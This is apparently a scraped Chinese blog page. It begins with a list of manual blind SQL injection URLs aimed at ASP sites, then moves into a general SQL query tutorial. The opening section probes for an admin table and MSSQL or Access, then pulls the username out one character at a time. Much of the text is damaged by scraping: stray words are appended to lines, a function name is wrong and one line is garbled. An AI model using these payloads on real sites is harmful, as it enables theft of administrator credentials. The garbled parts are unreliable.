手工检测SQL注入(安全性测试)

手动你的ASP站能否注入:数据库

  http://127.0.0.1/xx?id=11 and 1=1 (正常页面)函数

  http://127.0.0.1/xx?id=11 and 1=2 (出错页面)spa

  检测表段的code

  http://127.0.0.1/xx?id=11 and exists (select * from admin)对象

  检测字段的排序

  http://127.0.0.1/xx?id=11 and exists (select username from admin)unicode

  检测ID字符串

  http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)get

  检测长度的字符串处理

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  检测长度的

  http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

  检测是否为MSSQL数据库

  http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

  检测是否为英文

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

  检测英文的范围

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

  检测那个字符

  (ACCESS数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

  (MSSQL数据库)

  http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

  经常使用函数

  Access:asc(字符) SQLServer:unicode(字符)

  做用:返回某字符的ASCII码

  Access:chr(数字) SQLServer:nchar(数字)

  做用:与asc相反,根据ASCII码返回字符

  Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)

  做用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

  Access:abc(数字) SQLServer:abc (数字)

  做用:返回数字的绝对值(在猜解汉字的时候会用到)

  Access:A between B And C SQLServer:A between B And C

  做用:判断A是否界于B与C之间

  and exists(Select top 1 * From 用户 order by id)

  1.在查询结果中显示列名:

  a.用as关键字:select name as ’姓名’ from students order by age

  b.直接表示:select name ’姓名’ from students order by age

  2.精确查找:

  a.用in限定范围:select * from students where native in (’湖南’, ’四川’)

  b.between...and:select * from students where age between 20 and 30

  c.“=”:select * from students where name = ’李山’

  d.like:select * from students where name like ’李%’ (注意查询条件中有“%”,则说明是部分匹配,并且还有前后信息在里面,即查找以“李”开头的匹配项。因此若查询有“李”的全部对象,应该命令:’%李%’;如果第二个字为李,则应为’_李%’或’_李’或’_李_’。)

  e.[]匹配检查符:select * from courses where cno like ’[AC]%’ (表示或的关系,与"in(...)"相似,并且"[]"能够表示范围,如:select * from courses where cno like ’[A-C]%’)

  3.对于时间类型变量的处理

  a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = ’1980-1-1’ and birth <= ’1980-12-31’

  4.集函数

  a.count()求和,如:select count(*) from students (求学生总人数)

  b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’

  c.max(列)和min(列),求最大与最小

  5.分组group

  经常使用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)

  注意:从哪一种角度分组就从哪列"group by"

  对于多重分组,只需将分组规则罗列。好比查询各届各专业的男女同窗人数 ,那么分组规则有:届别(grade)、专业(mno)和

  性别(gender),因此有"group by grade, mno, gender"

  select grade, mno, gender, count(*) from students group by grade, mno, gender

  一般group还和having联用,好比查询1门课以上不及格的学生,则按学号(sno)分类有:

  select sno,count(*) from grades where mark<60 group by sno having count(*)>1

  6.UNION联合

  合并查询结果,如:

  SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’

  7.多表查询

  a.内链接

  select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno

  (注意能够引用别名)

  b.外链接

  b1.左链接

  select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno

  左链接特色:显示所有左边表中的全部项目,即便其中有些项中的数据未填写彻底。

  左外链接返回那些存在于左表而右表中却没有的行,再加上内链接的行。

  b2.右链接

  与左链接相似

  b3.全链接

  select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno

  两边表中的内容所有显示

  c.自身链接

  select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno

  采用别名解决问题。

  d.交*链接

  select lastname+firstname from lastname CROSS JOIN firstanme

  至关于作笛卡儿积

  8.嵌套查询

  a.用关键字IN,如查询猪猪山的同乡:

  select * from students where native in (select native from students where name=’猪猪’)

  b.使用关键字EXIST,好比,下面两句是等价的:

  select * from students where sno in (select sno from grades where cno=’B2’)

  select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  9.关于排序order

  a.对于排序order,有两种方法:asc升序和desc降序

  b.对于排序order,能够按照查询条件中的某项排列,并且这项可用数字表示,如:

  select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

  10.其余

  a.对于有空格的识别名称,应该用"[]"括住。

  b.对于某列中没有数据的特定查询能够用null判断,如select sno,courseno from grades where mark IS NULL

  c.注意区分在嵌套查询中使用的any与all的区别,any至关于逻辑运算“||”而all则至关于逻辑运算“&&”

  d.注意在作否认意义的查询是当心进入陷阱:

  如,没有选修‘B2’课程的学生 :

  select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’

  上面的查询方式是错误的,正确方式见下方:

  select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=’B2’)

  11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难 ?br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))

  最外一重:从学生表中选,排除那些有课没选的。用not exist。因为讨论对象是课程,因此第二重查询从course表中找,排除那些选了课的便可

相关文章
相关标签/搜索